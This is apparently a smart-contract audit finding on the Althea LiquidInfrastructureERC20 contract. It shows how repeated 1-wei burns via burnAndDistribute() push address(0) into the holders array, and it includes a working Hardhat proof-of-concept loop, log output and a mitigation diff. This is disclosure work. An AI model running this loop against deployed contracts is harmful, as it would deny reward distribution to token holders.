Althea Liquid Infrastructure - Fitro's results

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L331-L336 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L142-L145 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L164-L179 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L234-L236

Vulnerability details

Impact

burnAndDistribute() serves to both distribute reward tokens to users and burn a portion of tokens.

function burnAndDistribute(uint256 amount) public {
   if (_isPastMinDistributionPeriod()) {
       distributeToAllHolders();
   }
   burn(amount);
}

Every time the function is invoked, it triggers _beforeTokenTransfer(), which verifies whether the recipient address(to) has a balance. If the recipient does not have a balance, they are added to the holders array. When tokens are burned, the recipient address is awlays address(0), which will never hold a balance and consequently is included in the array.

bool exists = (this.balanceOf(to) != 0);
if (!exists) { 
    holders.push(to);
}

Subsequently, _afterTokenTransfer() is invoked, but in this scenario, it only verifies whether the sender (from) has a balance and deletes it if it does not. It's important to note that it's impossible for the sender's address to be address(0). In the case of burning, the recipient (to) address will always be address(0), and the sender can be any account. The sole method to remove an address from the array is through _afterTokenTransfer(), but since address(0) can never be, it remains stored indefinitely, resulting in address(0) persisting forever.

function _afterTokenTransfer(
   address from,
   address to,
   uint256 amount
) internal virtual override {
   bool stillHolding = (this.balanceOf(from) != 0);
   if (!stillHolding) {
       for (uint i = 0; i < holders.length; i++) {
           if (holders[i] == from) {
               // Remove the element at i by copying the last one into its place and removing the last element
               holders[i] = holders[holders.length - 1];
               holders.pop();
            }
        }
    }
}

The issue arises from the fact that an attacker can manipulate the array length at will by simply having a balance in the contract. By repeatedly calling burnAndDistribute() and burning 1 wei amount of tokens each time, the attacker can increment the array length arbitrarily. This becomes problematic when distribute() is invoked because it needs to traverse the entire array to call _endDistribution() and finish the distribution. Increasing the array length to an arbitrary size may result in exceeding the block gas limit, potentially leading to a denial-of-service (DOS) attack.

 if (nextDistributionRecipient == holders.length) {
     _endDistribution();
}

Furthermore, if an attacker not exploit this for a DOS attack, the address(0) will still be added to the array each time a normal user calls burnAndDistribute(), ultimately resulting in the same outcome.

Proof of Concept

To execute the POC copy the following code in liquidERC20.ts.

async function basicDistributionTestsCustom(
  infraERC20: LiquidInfrastructureERC20,
  infraERC20Owner: HardhatEthersSigner,
  holders: HardhatEthersSigner[],
  nftOwners: HardhatEthersSigner[],
  nfts: LiquidInfrastructureNFT[],
  rewardErc20s: ERC20[]
) {
  const [holder1, holder2, holder3, holder4] = holders.slice(0, 4);
  const [nftOwner1, nftOwner2, nftOwner3] = nftOwners.slice(0, 3);
  let [nft1, nft2, nft3] = nfts.slice(0, 3);
  const [erc20a, erc20b, erc20c] = rewardErc20s.slice(0, 3);
  const erc20Addresses = [
    await erc20a.getAddress(),
    await erc20b.getAddress(),
    await erc20c.getAddress(),
  ];

  // Register one NFT as a source of reward erc20s
  await transferNftToErc20AndManage(infraERC20, nft1, nftOwner1);
  await mine(1);
  nft1 = nft1.connect(infraERC20Owner);

  // Allocate some rewards to the NFT
  const rewardAmount1 = 1000000;
  await erc20a.transfer(await nft1.getAddress(), rewardAmount1);
  expect(await erc20a.balanceOf(await nft1.getAddress())).to.equal(
    rewardAmount1
  );

  // And then send the rewards to the ERC20
  await expect(infraERC20.withdrawFromAllManagedNFTs())
    .to.emit(infraERC20, "WithdrawalStarted")
    .and.emit(nft1, "SuccessfulWithdrawal")
    .and.emit(erc20a, "Transfer")
    .withArgs(
      await nft1.getAddress(),
      await infraERC20.getAddress(),
      rewardAmount1
    )
    .and.emit(infraERC20, "Withdrawal")
    .withArgs(await nft1.getAddress())
    .and.emit(infraERC20, "WithdrawalFinished");
  
  //Mint some tokens to the attacker
  await expect(infraERC20.mint(holder1.address, 100))
    .to.emit(infraERC20, "Transfer")
    .withArgs(ZERO_ADDRESS, holder1.address, 100);
  
  //iterate to add the address(0) to the array
  for (let i = 0; i < 100; i++) {
    await infraERC20.connect(holder1).burnAndDistribute(1);
  }
}

it("add address(0) DOS", async function () {
    const {
      infraERC20,
      erc20Owner,
      testERC20A,
      testERC20B,
      testERC20C,
      nftAccount1,
      nftAccount2,
      nftAccount3,
      holder1,
      holder2,
      holder3,
      holder4,
    } = await liquidErc20Fixture();

    const holders = [holder1, holder2, holder3, holder4];
    for (let holder of holders) {
      const address = holder.address;
      await expect(infraERC20.approveHolder(address)).to.not.be.reverted;
    }
    const nftOwners = [nftAccount1, nftAccount2, nftAccount3];
    let nfts: LiquidInfrastructureNFT[] = [
      await deployLiquidNFT(nftAccount1),
      await deployLiquidNFT(nftAccount2),
      await deployLiquidNFT(nftAccount3),
    ];
    const erc20s: ERC20[] = [testERC20A, testERC20B, testERC20C];
    for (const nft of nfts) {
      nft.setThresholds(
        erc20s,
        erc20s.map(() => 0)
      );
    }
      //Execute the attack
      await basicDistributionTestsCustom(
        infraERC20,
        erc20Owner,
        holders,
        nftOwners,
        nfts,
        erc20s
    );
  });

--------------------------------------LOGS--------------------------------------
holders length: 95
last holder: 0x0000000000000000000000000000000000000000
holders length: 96
last holder: 0x0000000000000000000000000000000000000000
holders length: 97
last holder: 0x0000000000000000000000000000000000000000
holders length: 98
last holder: 0x0000000000000000000000000000000000000000
holders length: 99
last holder: 0x0000000000000000000000000000000000000000
holders length: 100
last holder: 0x0000000000000000000000000000000000000000

To see the logs add in :

LiquidInfrastructureERC20.sol:

import "hardhat/console.sol";

And at the end of _beforeTokenTransfer():

console.log("holders length:", holders.length);
console.log("last holder:" , holders[holders.length - 1]);

Tools Used

Manual review.

Recommended Mitigation Steps

Check in _beforeTokenTransfer() if the address to push is not the address(0).

function _beforeTokenTransfer(
   address from,
   address to,
   uint256 amount
) internal virtual override {
    require(!LockedForDistribution, "distribution in progress");
    if (!(to == address(0))) {
        require(
            isApprovedHolder(to),
            "receiver not approved to hold the token"
        );
    }
    if (from == address(0) || to == address(0)) {
        _beforeMintOrBurn();
    }
    bool exists = (this.balanceOf(to) != 0);
-   if (!exists) { 
-       holders.push(to);
-   }
+   if (!exists && to != address(0)) { 
+       holders.push(to);
+   }
}

Assessed type

DoS